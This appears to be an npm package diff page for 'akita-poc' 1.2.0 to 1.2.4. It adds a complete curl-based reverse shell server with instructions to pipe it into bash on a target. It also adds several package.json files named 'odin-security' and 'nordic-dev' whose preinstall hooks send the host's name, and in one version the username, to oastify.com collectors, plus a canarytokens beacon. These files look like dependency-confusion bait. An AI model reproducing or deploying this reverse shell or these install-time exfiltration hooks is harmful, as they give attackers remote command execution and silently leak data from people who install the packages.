akita-poc 1.2.0 → 1.2.4

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,24 @@
1
+ # Reverse shell using curl
2
+
3
+ During security research, you may end up running code in an environment,
4
+ where establishing raw TCP connections to the outside world is not possible;
5
+ outgoing connection may only go through a connect proxy (HTTPS_PROXY).
6
+ This simple interactive HTTP server provides a way to mux
7
+ stdin/stdout and stderr of a remote reverse shell over that proxy with the
8
+ help of curl.
9
+
10
+ ## Usage
11
+
12
+ Start your listener:
13
+
14
+ ```
15
+ ./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234
16
+ ```
17
+
18
+ On the remote side:
19
+
20
+ ```
21
+ curl https://curlshell:1234 | bash
22
+ ```
23
+
24
+ That's it!
@@ -0,0 +1,220 @@
1
+ #!/usr/bin/env python3
2
+
3
+ from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
4
+ import ssl
5
+ import json
6
+ import argparse
7
+ import requests
8
+ import sys
9
+ import select
10
+ import threading
11
+ import os
12
+ import tty
13
+ import termios
14
+ from collections import defaultdict
15
+
16
+ # inspired by: https://stackoverflow.com/questions/29023885/python-socket-readline-without-socket-makefile
17
+ import socket
18
+ from asyncio import IncompleteReadError # only import the exception class
19
+
20
+ PTY_UPGRADE_CMD = "p=$(which python || which python3); s=$(which bash || which sh); if [ -n $p ]; then exec $p -c 'import pty;pty.spawn(\"'$s'\")'; fi"
21
+
22
+ class SocketStreamReader:
23
+ def __init__(self, sock: socket.socket):
24
+ self._sock = sock
25
+ self._recv_buffer = bytearray()
26
+
27
+ def read(self, num_bytes: int = -1) -> bytes:
28
+ raise NotImplementedError
29
+
30
+ def readexactly(self, num_bytes: int) -> bytes:
31
+ buf = bytearray(num_bytes)
32
+ pos = 0
33
+ while pos < num_bytes:
34
+ n = self._recv_into(memoryview(buf)[pos:])
35
+ if n == 0:
36
+ raise IncompleteReadError(bytes(buf[:pos]), num_bytes)
37
+ pos += n
38
+ return bytes(buf)
39
+
40
+ def readline(self) -> bytes:
41
+ return self.readuntil(b"\n")
42
+
43
+ def readuntil(self, separator: bytes = b"\n") -> bytes:
44
+ if len(separator) != 1:
45
+ raise ValueError("Only separators of length 1 are supported.")
46
+
47
+ chunk = bytearray(4096)
48
+ start = 0
49
+ buf = bytearray(len(self._recv_buffer))
50
+ bytes_read = self._recv_into(memoryview(buf))
51
+ assert bytes_read == len(buf)
52
+
53
+ while True:
54
+ idx = buf.find(separator, start)
55
+ if idx != -1:
56
+ break
57
+
58
+ start = len(self._recv_buffer)
59
+ bytes_read = self._recv_into(memoryview(chunk))
60
+ buf += memoryview(chunk)[:bytes_read]
61
+
62
+ result = bytes(buf[: idx + 1])
63
+ self._recv_buffer = b"".join(
64
+ (memoryview(buf)[idx + 1 :], self._recv_buffer)
65
+ )
66
+ return result
67
+
68
+ def _recv_into(self, view: memoryview) -> int:
69
+ bytes_read = min(len(view), len(self._recv_buffer))
70
+ view[:bytes_read] = self._recv_buffer[:bytes_read]
71
+ self._recv_buffer = self._recv_buffer[bytes_read:]
72
+ if bytes_read == len(view):
73
+ return bytes_read
74
+ bytes_read += self._sock.readinto1(view[bytes_read:])
75
+ if bytes_read <= 0:
76
+ raise Exception("end of stream")
77
+ return bytes_read
78
+
79
+ def eprint(*args, **kwargs):
80
+ print(*args, **kwargs, file=sys.stderr)
81
+
82
+ lock = threading.Lock()
83
+ lockdata = defaultdict(int)
84
+ def locker(c, d, should_exit):
85
+ if not should_exit:
86
+ return
87
+ lock.acquire()
88
+ try:
89
+ lockdata[c] += d
90
+ if d < 0:
91
+ s = 0
92
+ for k in lockdata:
93
+ v = lockdata[k]
94
+ s += v
95
+ if s <= 0:
96
+ eprint("Exiting")
97
+ os._exit(0)
98
+ finally:
99
+ lock.release()
100
+
101
+
102
+ class ConDispHTTPRequestHandler(BaseHTTPRequestHandler):
103
+
104
+ # this is receiving the output of the bash process on the remote end and prints it to the local terminal
105
+ def do_PUT(self):
106
+ self.server.should_exit = False
107
+ w = self.path[1:]
108
+ d = getattr(sys, w)
109
+ if not d:
110
+ raise Exception("Invalid request")
111
+ locker(w, 1, not self.server.args.serve_forever)
112
+ eprint(w, "stream connected")
113
+ sr = SocketStreamReader(self.rfile)
114
+ while True:
115
+ line = sr.readline()
116
+ chunksize = int(line, 16)
117
+ if chunksize <= 0:
118
+ break
119
+ data = sr.readexactly(chunksize)
120
+ d.buffer.write(data)
121
+ d.buffer.flush()
122
+ # chunk trailer
123
+ sr.readline()
124
+ eprint(w, "stream closed")
125
+ self.server.should_exit = True
126
+ locker(w, -1, not self.server.args.serve_forever)
127
+
128
+ def _feed(self, data):
129
+ if self.server.args.dependabot_workaround:
130
+ self.wfile.write(data.encode())
131
+ self.wfile.flush()
132
+ else:
133
+ self._send_chunk(data)
134
+
135
+ # this is feeding the bash process on the remote end with input typed in the local terminal
136
+ def do_POST(self):
137
+ eprint("stdin stream connected")
138
+ self.send_response(200)
139
+ self.send_header('Content-Type', "application/binary")
140
+ self.send_header('Transfer-Encoding', 'chunked')
141
+ self.end_headers()
142
+
143
+ locker("stdin", 1, not self.server.args.serve_forever)
144
+
145
+ if self.server.args.upgrade_pty:
146
+ eprint(PTY_UPGRADE_CMD)
147
+ self._feed(PTY_UPGRADE_CMD+"\n")
148
+
149
+ while True:
150
+ s = select.select([sys.stdin, self.request], [], [], 1)[0]
151
+ if self.server.should_exit:
152
+ break
153
+ if self.request in s:
154
+ # input broken
155
+ break
156
+ if sys.stdin in s:
157
+ data = sys.stdin.readline()
158
+ self._feed(data)
159
+ self._send_chunk("")
160
+ eprint("stdin stream closed")
161
+
162
+ locker("stdin", -1, not self.server.args.serve_forever)
163
+
164
+ def do_GET(self):
165
+ eprint("cmd request received from", self.client_address)
166
+ schema = "https" if self.server.args.certificate else "http"
167
+ host = self.headers["Host"]
168
+ cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input"
169
+ cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)"
170
+ cmd+= f" | curl -s -T - {schema}://{host}/stdout"
171
+ cmd+= "\n"
172
+ # sending back the complex command to be executed
173
+ self.send_response(200)
174
+ self.send_header('Content-Type', "text/plain")
175
+ self.send_header('Transfer-Encoding', 'chunked')
176
+ self.end_headers()
177
+ self._send_chunk(cmd)
178
+ self._send_chunk("")
179
+ eprint("bootstrapping command sent")
180
+
181
+ def _send_chunk(self, data):
182
+ if type(data) == str:
183
+ try:
184
+ data = data.encode()
185
+ except UnicodeEncodeError:
186
+ eprint("Invalid unicode character in the input, chunk not sent")
187
+ return
188
+ full_packet = '{:X}\r\n'.format(len(data)).encode()
189
+ full_packet += data
190
+ full_packet += b"\r\n"
191
+ self.wfile.write(full_packet)
192
+ self.wfile.flush()
193
+
194
+
195
+ def do_the_job(args):
196
+ httpd = ThreadingHTTPServer((args.listen_host, args.listen_port), ConDispHTTPRequestHandler)
197
+ setattr(httpd, "args", args)
198
+ setattr(httpd, "should_exit", False)
199
+ if args.certificate and args.private_key:
200
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER )
201
+ context.load_cert_chain(args.certificate, args.private_key)
202
+ httpd.socket = context.wrap_socket(httpd.socket)
203
+ eprint(f"https listener starting {args.listen_host}:{args.listen_port}")
204
+ else:
205
+ eprint(f"plain http listener starting {args.listen_host}:{args.listen_port}")
206
+
207
+ # handle_request()
208
+ httpd.serve_forever()
209
+
210
+
211
+ if __name__ == "__main__":
212
+ parser = argparse.ArgumentParser(description="Usage on target: curl https://curlshell | bash")
213
+ parser.add_argument("--private-key", help="path to the private key for TLS")
214
+ parser.add_argument("--certificate", help="path to the certificate for TLS")
215
+ parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on")
216
+ parser.add_argument("--listen-port", type=int, default=443, help="port to listen on")
217
+ parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)")
218
+ parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.")
219
+ parser.add_argument("--upgrade-pty", action='store_true', default=False, help=f"When a connection is established, attempt to invoke python to create a pseudo-terminal to improve the shell experience.")
220
+ do_the_job(parser.parse_args())
@@ -0,0 +1,3 @@
1
+ // index.js
2
+ console.log("odin package");
3
+
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "nordic-dev",
3
+ "version": "1.0.2",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl --data-urlencode info=$() http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
9
+ },
10
+ "author": "Akita",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "account": "^1.0.0"
14
+ }
15
+ }
@@ -0,0 +1,3 @@
1
+ // index.js
2
+ console.log("odin package");
3
+
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "odin-security",
3
+ "version": "8.8.88",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl --data-urlencode info=$(hostname) http://mb17elapg37wp9tcg02w80r0frlr9hx6.oastify.com"
9
+ },
10
+ "author": "Akita",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "account": "^1.0.0"
14
+ }
15
+ }
File without changes
package/package.json CHANGED
@@ -1,15 +1,16 @@
1
1
  {
2
2
  "name": "akita-poc",
3
- "version": "1.2.0",
3
+ "version": "1.2.4",
4
4
  "description": "poc",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall": "curl --data-urlencode info=$(hostname && whoami) http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
8
+ "preinstall": "curl http://canarytokens.com/static/vku44mbctn82d4rl7is2qznz5/submit.aspx"
9
9
  },
10
10
  "author": "Akita",
11
11
  "license": "ISC",
12
12
  "dependencies": {
13
- "account": "^1.0.0"
13
+ "account": "^1.0.0",
14
+ "akita-poc": "^1.2.3"
14
15
  }
15
16
  }
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "odin-security",
3
+ "version": "8.8.88",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl --data-urlencode info=$(hostname) http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
9
+ },
10
+ "author": "Akita",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "account": "^1.0.0"
14
+ }
15
+ }